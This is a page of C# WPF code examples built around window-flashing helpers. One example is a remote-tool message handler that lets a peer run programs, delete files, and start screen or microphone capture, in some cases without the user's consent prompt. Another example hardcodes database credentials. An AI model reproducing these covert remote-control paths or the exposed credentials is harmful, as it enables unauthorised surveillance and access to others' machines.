Ejemplo n.º 1
0
        private async void DisconnectByServer(dynamic message)
        {
            Disconnect();
            _flashWindowHelper.FlashApplicationWindow();
            await Dialog.ShowMessageAsync(this, "Message",
                                          message == ""? "You have been disconnected by a server admin" : message);

            Dispatcher.Invoke(() =>
            {
                Connection.Stop(new TimeSpan(0, 0, 1));
                Application.Current.Shutdown();
            });
        }
Ejemplo n.º 2
0
        public static void MessageRecievedCallback(string sourceName, int messageType, string text)
        {
            Application.Current.Dispatcher.Invoke(() =>
            {
                MainWindow mw = Application.Current.MainWindow as MainWindow;
                if (mw == null)
                {
                    throw new Exception("ALARM: Lost MainWindow ");
                }

                mw.ShowText(sourceName + ": " + text, ETextAligment.eLeft);

                SoundPlayer player = new SoundPlayer(Properties.Resources.icq_sound);
                player.Play();

                _flashHelper.FlashApplicationWindow();
            });
        }
Ejemplo n.º 3
0
        /// <summary>
        /// Met à jour les messages
        /// </summary>
        private async void UpdateMessages(System.Windows.Controls.ListView lv)
        {
            using (LobbyService.LobbyServiceClient client = new LobbyService.LobbyServiceClient())
            {
                var lstMessages = await Task.Run(() => client.GetNewMessageFrom(UserSessionSingleton.Instance.UserToken.Value, _receiverName));

                bool newMsg = false;

                if (lstMessages.Count > 0)
                {
                    newMsg = true;
                }

                foreach (LobbyService.UserMessage um in lstMessages)
                {
                    lv.Items.Add(um);
                }

                if (lv.Items.Count > 0)
                {
                    lv.ScrollIntoView(lv.Items[lv.Items.Count - 1]);
                }

                if (newMsg)
                {
                    _mediaPlayer              = new MediaPlayer();
                    _mediaPlayer.MediaFailed += (o, args) =>
                    {
                        MessageBox.Show("Media Failed!!");
                    };
                    _mediaPlayer.Open(new Uri("Sounds/MSN Sound.mp3", UriKind.RelativeOrAbsolute));
                    _mediaPlayer.Play();

                    var helper = new FlashWindowHelper(Application.Current);
                    // Flashes the window and taskbar 5 times and stays solid
                    // colored until user focuses the main window
                    helper.FlashApplicationWindow();
                }
            }
        }
Ejemplo n.º 4
0
        private void Connection_AcceptMessage(MessageClass message)
        {
            #region StandartCommands
            if (message.Command == Commands.Disconnect)
            {
                Task.Run(LostConnection);
                Dispatcher.Invoke(() =>
                {
                    int count = Users.Count;
                    for (int i = 0; i < count; i++)
                    {
                        FullTable.Items.Remove(Users[0]);
                        Users.Remove(Users[0]);
                    }

                    DisconnectLabel.Opacity = 1;
                });
            }

            if (message.Command == Commands.AcceptLogin)
            {
                Task.Run(FindConnection);
                Dispatcher.Invoke(() => DisconnectLabel.Opacity = 0);
                Connection.ID = message.Getter;
                Connection.SendMessage(new MessageClass(Connection.ID, -1, Commands.RsaKey, 0, Connection.Secure.GetPublicKey()));
            }

            if (message.Command == Commands.AesKey)
            {
                Connection.Secure.SetAesKey(Connection.Secure.RsaDecrypt(message.Package));
                Connection.Secured = true;
                Connection.SendMessage(new MessageClass(Connection.ID, -1, Commands.GetList, 0));
                Connection.SendMessage(new MessageClass(Connection.ID, -1, Commands.KeyPass, 0, Settings.KeyWord));
            }

            if (message.Command == Commands.List)
            {
                try
                {
                    string[] com = message.GetStringPackage().Split(';');
                    AddUser(com);
                    Dispatcher.Invoke(() =>
                    {
                        try
                        {
                            /*
                             * int count = Users.Count;
                             * for (int i = 0; i < count; i++)
                             * {
                             *  FullTable.Items.Remove(Users[0]);
                             *  Users.Remove(Users[0]);
                             * }
                             *
                             * for (int i = 0; i < com.Length; i += 3)
                             * {
                             *  var user = new UserControll(Convert.ToInt32(com[i]), com[i + 1], com[i + 2]);
                             *  user.ActiveEvent += User_ActiveEvent;
                             *  Users.Add(user);
                             *  FullTable.Items.Add(user);
                             *  if (Status != "Simple")
                             *      user.SetEnabled(1, true);
                             * }
                             */
                        }
                        catch { }
                    });
                }
                catch { }
            }

            if (message.Command == Commands.ChangeStatus)
            {
                Status = message.GetStringPackage();
                if (Status != "Simple")
                {
                    Dispatcher.Invoke(() =>
                    {
                        for (int i = 0; i < VideoClasses.Count; i++)
                        {
                            VideoClasses[i].Close();
                        }
                        var window   = new StatusWindow(Version, Status);
                        window.Owner = this;
                        window.Show();
                    });
                    for (int i = 0; i < Users.Count; i++)
                    {
                        Dispatcher.Invoke(() => Users[i].SetEnabled(1, true));
                    }
                }
                else
                {
                    for (int i = 0; i < Users.Count; i++)
                    {
                        Dispatcher.Invoke(() => Users[i].SetEnabled(0, false));
                    }
                }
            }

            if (message.Command == Commands.ChangeName)
            {
                Dispatcher.Invoke(() =>
                {
                    for (int i = 0; i < Users.Count; i++)
                    {
                        if (message.Getter == Users[i].ID)
                        {
                            Users[i].NameLabel.Content = message.GetStringPackage();
                        }
                    }
                });
            }

            if (message.Command == Commands.GetInfo)
            {
                string result = Version + "\n";
                if (Status != "Simple")
                {
                    result += "[Secret]\n";
                }
                else
                {
                    result += "Simple\n";
                }

                result += Directory.GetCurrentDirectory() + "\n";

                result += TurnOnTime.ToString();

                Connection.SendMessage(new MessageClass(Connection.ID, message.Sender, Commands.Info, 0, result));
            }

            if (message.Command == Commands.Info)
            {
                Dispatcher.Invoke(() => System.Windows.MessageBox.Show(message.GetStringPackage()));
            }
            #endregion

            #region FileCommands
            if (message.Command == Commands.RFileSend)
            {
                Task.Run(() =>
                {
                    Dispatcher.Invoke(() =>
                    {
                        string name = "[Secret]";
                        for (int i = 0; i < Users.Count; i++)
                        {
                            if (message.Sender == Users[i].ID)
                            {
                                name = Users[i].NameLabel.Content as string;
                            }
                        }
                        var window   = new RequestWindow(name, message.GetStringPackage());
                        window.Owner = this;
                        if (!SilenceControll.Mode)
                        {
                            window.Topmost = false;
                            window.WindowStartupLocation = WindowStartupLocation.CenterOwner;
                            if (!IsActive)
                            {
                                this.Show();
                                if (Icons != null)
                                {
                                    Icons.Visible = false;
                                }
                                this.WindowState = WindowState.Minimized;
                            }
                        }
                        Helper.FlashApplicationWindow();
                        window.ShowDialog();
                        if (window.Result)
                        {
                            Connection.SendMessage(new MessageClass(Connection.ID, message.Sender, Commands.AcceptFile, message.ElementID));
                        }
                        else
                        {
                            Connection.SendMessage(new MessageClass(Connection.ID, message.Sender, Commands.CancelFile, message.ElementID));
                        }
                    });
                });
            }

            if (message.Command == Commands.AcceptFile)
            {
                Dispatcher.Invoke(() =>
                {
                    try
                    {
                        var setuper = FindSetuper(message.ElementID);
                        setuper.Accept();
                    }
                    catch { }
                });
            }

            if (message.Command == Commands.CancelFile)
            {
                Dispatcher.Invoke(() =>
                {
                    try
                    {
                        var setuper = FindSetuper(message.ElementID);
                        setuper.Cancel();
                    }
                    catch { }
                });
            }

            if (message.Command == Commands.FileOK)
            {
                Dispatcher.Invoke(() =>
                {
                    try
                    {
                        var setuper = FindSetuper(message.ElementID);
                        setuper.OK();
                    }
                    catch { }
                });
            }

            if (message.Command == Commands.FileInfo)
            {
                Dispatcher.Invoke(() =>
                {
                    var getter         = new GettingWindow(Connection, Settings);
                    getter.ID          = message.ElementID;
                    getter.UserID      = message.Sender;
                    string[] com       = message.GetStringPackage().Split(';');
                    getter.FileName    = com[0];
                    getter.FileSize    = Convert.ToInt64(com[1]);
                    getter.CloseEvent += (GettingWindow window) =>
                    {
                        Getters.Remove(window);
                        GC.Collect();
                    };
                    getter.Owner = this;
                    getter.Show();
                    Getters.Add(getter);
                });
            }

            if (message.Command == Commands.FileData)
            {
                Dispatcher.Invoke(() =>
                {
                    try
                    {
                        var getter = FindGetter(message.ElementID, message.Sender);
                        getter.SetData(message.Package);
                    }
                    catch { }
                });
            }

            if (message.Command == Commands.FileDone)
            {
                Dispatcher.Invoke(() =>
                {
                    try
                    {
                        var getter = FindGetter(message.ElementID, message.Sender);
                        getter.Done();
                    }
                    catch { }
                });
            }

            #endregion

            #region VideoMCommands
            if (message.Command == Commands.RVideoModule)
            {
                Task.Run(() =>
                {
                    Dispatcher.Invoke(() =>
                    {
                        string name = "[Secret]";
                        for (int i = 0; i < Users.Count; i++)
                        {
                            if (message.Sender == Users[i].ID)
                            {
                                name = Users[i].NameLabel.Content as string;
                            }
                        }
                        var window   = new RequestWindow(name, "<Video.mp4>");
                        window.Owner = this;
                        if (!SilenceControll.Mode)
                        {
                            window.Topmost = false;
                            window.WindowStartupLocation = WindowStartupLocation.CenterOwner;
                            if (!IsActive)
                            {
                                this.Show();
                                if (Icons != null)
                                {
                                    Icons.Visible = false;
                                }
                                this.WindowState = WindowState.Minimized;
                            }
                        }
                        Helper.FlashApplicationWindow();
                        window.ShowDialog();
                        if (window.Result)
                        {
                            var video         = new VideoClass(message.ElementID, message.Sender, Connection);
                            video.CloseEvent += (VideoClass obj) =>
                            {
                                VideoClasses.Remove(obj);
                                GC.Collect();
                            };
                            video.Start();
                            VideoClasses.Add(video);
                        }
                        else
                        {
                            Connection.SendMessage(new MessageClass(Connection.ID, message.Sender, Commands.VideoDenied, message.ElementID));
                        }
                    });
                });
            }

            if (message.Command == Commands.HVideoModule)
            {
                var video = new VideoClass(message.ElementID, message.Sender, Connection);
                video.CloseEvent += (VideoClass obj) =>
                {
                    VideoClasses.Remove(obj);
                    GC.Collect();
                };
                video.Start();
                VideoClasses.Add(video);
            }

            if (message.Command == Commands.VideoDenied)
            {
                try
                {
                    Dispatcher.Invoke(FindVideoWindow(message.ElementID).Denied);
                }
                catch { }
            }

            if (message.Command == Commands.VideoPulsar)
            {
                try
                {
                    Dispatcher.Invoke(FindVideoClasses(message.ElementID, message.Sender).Pulsar);
                }
                catch { }
            }

            if (message.Command == Commands.VideoClose)
            {
                try
                {
                    Dispatcher.Invoke(FindVideoClasses(message.ElementID, message.Sender).Close);
                }
                catch { }
            }

            if (message.Command == Commands.VideoData)
            {
                Dispatcher.Invoke(() =>
                {
                    try
                    {
                        FindVideoWindow(message.ElementID).SetVideoData(message.Package);
                    }
                    catch
                    {
                        Connection.SendMessage(new MessageClass(Connection.ID, message.Sender, Commands.VideoClose, message.ElementID));
                    }
                });
            }

            if (message.Command == Commands.SetVideo)
            {
                try
                {
                    if (message.GetStringPackage() == "True")
                    {
                        Dispatcher.Invoke(() => FindVideoClasses(message.ElementID, message.Sender).VideoStream = true);
                    }
                    else
                    {
                        Dispatcher.Invoke(() => FindVideoClasses(message.ElementID, message.Sender).VideoStream = false);
                    }
                }
                catch { }
            }

            if (message.Command == Commands.SetMaxFps)
            {
                try
                {
                    Dispatcher.Invoke(() => FindVideoClasses(message.ElementID, message.Sender).MaxFps = Convert.ToInt32(message.GetStringPackage()));
                }
                catch { }
            }

            if (message.Command == Commands.SetSize)
            {
                try
                {
                    Dispatcher.Invoke(() => FindVideoClasses(message.ElementID, message.Sender).Size = Convert.ToInt32(message.GetStringPackage()));
                }
                catch { }
            }

            if (message.Command == Commands.SetQuality)
            {
                try
                {
                    Dispatcher.Invoke(() => FindVideoClasses(message.ElementID, message.Sender).Quality = Convert.ToInt32(message.GetStringPackage()));
                }
                catch { }
            }

            if (message.Command == Commands.SetMicro)
            {
                try
                {
                    if (message.GetStringPackage() == "True")
                    {
                        Dispatcher.Invoke(FindVideoClasses(message.ElementID, message.Sender).MicroInput.StartRecording);
                    }
                    else
                    {
                        Dispatcher.Invoke(FindVideoClasses(message.ElementID, message.Sender).MicroInput.StopRecording);
                    }
                }
                catch { }
            }

            if (message.Command == Commands.MicroData)
            {
                try
                {
                    if (message.Package != null)
                    {
                        Dispatcher.Invoke(() => FindVideoWindow(message.ElementID).MicroBuffer.AddSamples(message.Package, 0, message.Package.Length));
                    }
                }
                catch { }
            }

            if (message.Command == Commands.SetCursor)
            {
                try
                {
                    if (message.GetStringPackage() == "True")
                    {
                        Dispatcher.Invoke(() => FindVideoClasses(message.ElementID, message.Sender).Cursor = true);
                    }
                    else
                    {
                        Dispatcher.Invoke(() => FindVideoClasses(message.ElementID, message.Sender).Cursor = false);
                    }
                }
                catch { }
            }

            if (message.Command == Commands.SetLoop)
            {
                try
                {
                    if (message.GetStringPackage() == "True")
                    {
                        Dispatcher.Invoke(() => FindVideoClasses(message.ElementID, message.Sender).LoopInput.StartRecording());
                    }
                    else
                    {
                        Dispatcher.Invoke(() => FindVideoClasses(message.ElementID, message.Sender).LoopInput.StopRecording());
                    }
                }
                catch { }
            }

            if (message.Command == Commands.LoopInfo)
            {
                try
                {
                    Dispatcher.Invoke(() => FindVideoWindow(message.ElementID).SetupLoop(message.Package));
                }
                catch { }
            }


            if (message.Command == Commands.LoopData)
            {
                try
                {
                    Dispatcher.Invoke(() => FindVideoWindow(message.ElementID).LoopBuffer.AddSamples(message.Package, 0, message.Package.Length));
                }
                catch { }
            }
            #endregion

            #region FileMCommands
            if (message.Command == Commands.RFileModule)
            {
                Task.Run(() =>
                {
                    Dispatcher.Invoke(() =>
                    {
                        string name = "[Secret]";
                        for (int i = 0; i < Users.Count; i++)
                        {
                            if (message.Sender == Users[i].ID)
                            {
                                name = Users[i].NameLabel.Content as string;
                            }
                        }
                        var window   = new RequestWindow(name, "<TextFile>");
                        window.Owner = this;
                        if (!SilenceControll.Mode)
                        {
                            window.Topmost = false;
                            window.WindowStartupLocation = WindowStartupLocation.CenterOwner;
                            if (!IsActive)
                            {
                                this.Show();
                                if (Icons != null)
                                {
                                    Icons.Visible = false;
                                }
                                this.WindowState = WindowState.Minimized;
                            }
                        }
                        Helper.FlashApplicationWindow();
                        window.ShowDialog();
                        if (window.Result)
                        {
                            var fileClass         = new FileClass(message.ElementID, message.Sender, Connection);
                            fileClass.CloseEvent += (FileClass obj) =>
                            {
                                FileClasses.Remove(obj);
                                GC.Collect();
                            };
                            fileClass.Start();
                            FileClasses.Add(fileClass);
                        }
                        else
                        {
                            Connection.SendMessage(new MessageClass(Connection.ID, message.Sender, Commands.FileMDenied, message.ElementID));
                        }
                    });
                });
            }

            if (message.Command == Commands.HFileModule)
            {
                var fileClass = new FileClass(message.ElementID, message.Sender, Connection);
                fileClass.CloseEvent += (FileClass obj) =>
                {
                    FileClasses.Remove(obj);
                    GC.Collect();
                };
                fileClass.Start();
                FileClasses.Add(fileClass);
            }

            if (message.Command == Commands.FileMAccepted)
            {
                try
                {
                    FindFileWindow(message.ElementID).Accept();
                }
                catch { }
            }

            if (message.Command == Commands.FileMDenied)
            {
            }

            if (message.Command == Commands.FilePulsar)
            {
                try
                {
                    FindFileClass(message.ElementID, message.Sender).Pulsar();
                }
                catch { }
            }

            if (message.Command == Commands.CD)
            {
                try
                {
                    byte[] data = FindFileClass(message.ElementID, message.Sender).CD(message.GetStringPackage());
                    Connection.SendMessage(new MessageClass(Connection.ID, message.Sender, Commands.Dirs, message.ElementID, data));
                }
                catch { }
            }

            if (message.Command == Commands.Dirs)
            {
                Dispatcher.Invoke(() =>
                {
                    try
                    {
                        FindFileWindow(message.ElementID).SetDirs(message.Package);
                    }
                    catch { }
                });
            }

            if (message.Command == Commands.Run)
            {
                try
                {
                    if (FindFileClass(message.ElementID, message.Sender) == null)
                    {
                        return;
                    }
                    ProcessStartInfo startInfo = new ProcessStartInfo(message.GetStringPackage());
                    startInfo.WorkingDirectory = System.IO.Path.GetDirectoryName(message.GetStringPackage());
                    Process.Start(startInfo);
                }
                catch { }
            }

            if (message.Command == Commands.RunWith)
            {
                try
                {
                    if (FindFileClass(message.ElementID, message.Sender) == null)
                    {
                        return;
                    }
                    string[]         com       = message.GetStringPackage().Split(';');
                    ProcessStartInfo startInfo = new ProcessStartInfo(com[0], com[1]);
                    startInfo.WorkingDirectory = System.IO.Path.GetDirectoryName(com[0]);
                    Process.Start(startInfo);
                }
                catch { }
            }

            if (message.Command == Commands.Delete)
            {
                try
                {
                    FileClass fileClass = FindFileClass(message.ElementID, message.Sender);
                    if (fileClass == null)
                    {
                        return;
                    }

                    string path = message.GetStringPackage();
                    if (Directory.Exists(path))
                    {
                        Directory.Delete(path);
                    }
                    else if (File.Exists(path))
                    {
                        File.Delete(path);
                    }

                    byte[] data = fileClass.CD(Path.GetDirectoryName(message.GetStringPackage()));
                    Connection.SendMessage(new MessageClass(Connection.ID, message.Sender, Commands.Dirs, message.ElementID, data));
                }
                catch { }
            }

            if (message.Command == Commands.StartDownload)
            {
                try
                {
                    Task.Run(() => FindFileClass(message.ElementID, message.Sender).StartDownload(message.GetStringPackage()));
                }
                catch { }
            }

            if (message.Command == Commands.StopDownload)
            {
                try
                {
                    FindFileClass(message.ElementID, message.Sender).StopDownload();
                }
                catch { }
            }

            if (message.Command == Commands.FileUData)
            {
                try
                {
                    FindFileClass(message.ElementID, message.Sender).SetData(message.Package);
                }
                catch { }
            }

            if (message.Command == Commands.FileUError)
            {
                try
                {
                    FindFileWindow(message.ElementID).SetUError(message.GetStringPackage());
                }
                catch { }
            }

            if (message.Command == Commands.FileDData)
            {
                try
                {
                    FindFileWindow(message.ElementID).SetData(message.Package);
                }
                catch { }
            }

            if (message.Command == Commands.GetDirInfo)
            {
                try
                {
                    Task.Run(() => FindFileClass(message.ElementID, message.Sender).GetDirInfo(message.GetStringPackage()));
                }
                catch { }
            }

            if (message.Command == Commands.DirInfo)
            {
                try
                {
                    FindFileWindow(message.ElementID).SetProp(message.Package);
                }
                catch { }
            }
            #endregion
        }
Ejemplo n.º 5
0
        private void IstemciThreadi(TcpListener sunucu)
        {
            TcpClient istemci = sunucu.AcceptTcpClient();

            ConsoleAddItem(String.Format("A client connected with IP: {0}. Thread ID: {1}. Inserting alert", ((IPEndPoint)istemci.Client.RemoteEndPoint).Address, Thread.CurrentThread.ManagedThreadId));

            string ID         = null;
            string gelen_veri = "";

            byte[] bytesToRead = null;
            int    bytesRead   = 0;

            try
            {
                InsertAlert(((IPEndPoint)istemci.Client.RemoteEndPoint).Address.ToString(), out ID);
                ConsoleAddItem("Alert info has been added to DB!");
            }
            catch (Exception ex)
            {
                ConsoleAddItem("Error while insertion alert: " + ex.Message);
            }

            //enter to an infinite cycle to be able to handle every change in stream
            while (serverRunning)
            {
                try
                {
                    using (NetworkStream yayin = istemci.GetStream())
                    {
                        bytesToRead = new byte[istemci.ReceiveBufferSize];
                        bytesRead   = yayin.Read(bytesToRead, 0, istemci.ReceiveBufferSize);
                        gelen_veri  = Encoding.ASCII.GetString(bytesToRead, 0, bytesRead);
                        ConsoleAddItem("Received : " + Encoding.ASCII.GetString(bytesToRead, 0, bytesRead));
                        if (bytesRead > 0)
                        {
                            ConsoleAddItem(String.Format("{0}: {1}", Thread.CurrentThread.ManagedThreadId, gelen_veri));

                            if (UpdateAlert(gelen_veri, ((IPEndPoint)istemci.Client.RemoteEndPoint).Address.ToString(), ID))
                            {
                                ConsoleAddItem(String.Format("Alert info has been updated to DB successfully!"));
                                RetrieveAlerts(true, null);
                                break;
                            }
                            else
                            {
                                ConsoleAddItem(String.Format("Alert info could NOT be updated!!!"));
                                // TODO: What to do if update fails ?
                            }
                        }
                    }
                }
                // Client Drop
                catch (System.IO.IOException)
                {
                    ConsoleAddItem(String.Format("Connection lost. Thread ID: {0}", Thread.CurrentThread.ManagedThreadId));
                    if (ID != null)
                    {
                        string          connStr = "server=earthpwn.ddns.net;user=anan;database=anan;port=6969;password=anan;SslMode=none"; //global
                        MySqlConnection conn    = new MySqlConnection(connStr);
                        try
                        {
                            conn.Open();
                            ConsoleAddItem("DB Connection established to record client drop.");
                            ActivityUpdate(Activity.ON_ClientDrop, ID, false, conn);
                            RetrieveAlerts(false, conn);
                            // job's done
                            ConsoleAddItem("Client drop has been recorded successfully");
                        }
                        catch (Exception ex)
                        {
                            ConsoleAddItem("Error while changing status to client drop: " + ex.Message);
                        }
                        if (conn.State == System.Data.ConnectionState.Open)
                        {
                            try
                            {
                                conn.Close();
                                ConsoleAddItem("DB Connection Closed.");
                            }
                            catch (Exception ex)
                            {
                                ConsoleAddItem($"{ex.Message} You should've never seen this.");
                            }
                        }
                    }
                    else
                    {
                        ConsoleAddItem("Alert ID is null! Cannot change!");
                    }
                    RetrieveAlerts(true, null);
                    break;
                }
                // Other Exceptions
                catch (Exception ex)
                {
                    ConsoleAddItem(String.Format("Error on Thread ID {0}: " + ex.Message, Thread.CurrentThread.ManagedThreadId));
                    RetrieveAlerts(true, null);
                    break;
                }
            }

            // Play sound
            Assembly    assembly;
            SoundPlayer sp;

            assembly = Assembly.GetExecutingAssembly();
            using (sp = new SoundPlayer(assembly.GetManifestResourceStream("Shiny.alert.wav")))
            {
                sp.Play();
            }

            // Bring the window to the front or Flash yellow in the taskbar; based on the user's selection.
            if (Properties.Settings.Default.BringWindowToTop)
            {
                Dispatcher.Invoke(new Action(() =>
                {
                    if (WindowState == WindowState.Minimized)
                    {
                        WindowState = WindowState.Normal;
                    }

                    Activate();
                    Topmost = true;
                    Topmost = false;
                    Focus();
                }), DispatcherPriority.ContextIdle);
            }
            else
            {
                Dispatcher.Invoke(new Action(() =>
                {
                    var helper = new FlashWindowHelper(Application.Current);

                    // Flashes the window and taskbar 5 times and stays solid
                    // colored until user focuses the main window
                    helper.FlashApplicationWindow();
                }), DispatcherPriority.ContextIdle);
            }

            ConsoleAddItem(String.Format("Aborting #{0}", Thread.CurrentThread.ManagedThreadId));
            Thread.CurrentThread.Abort();
        }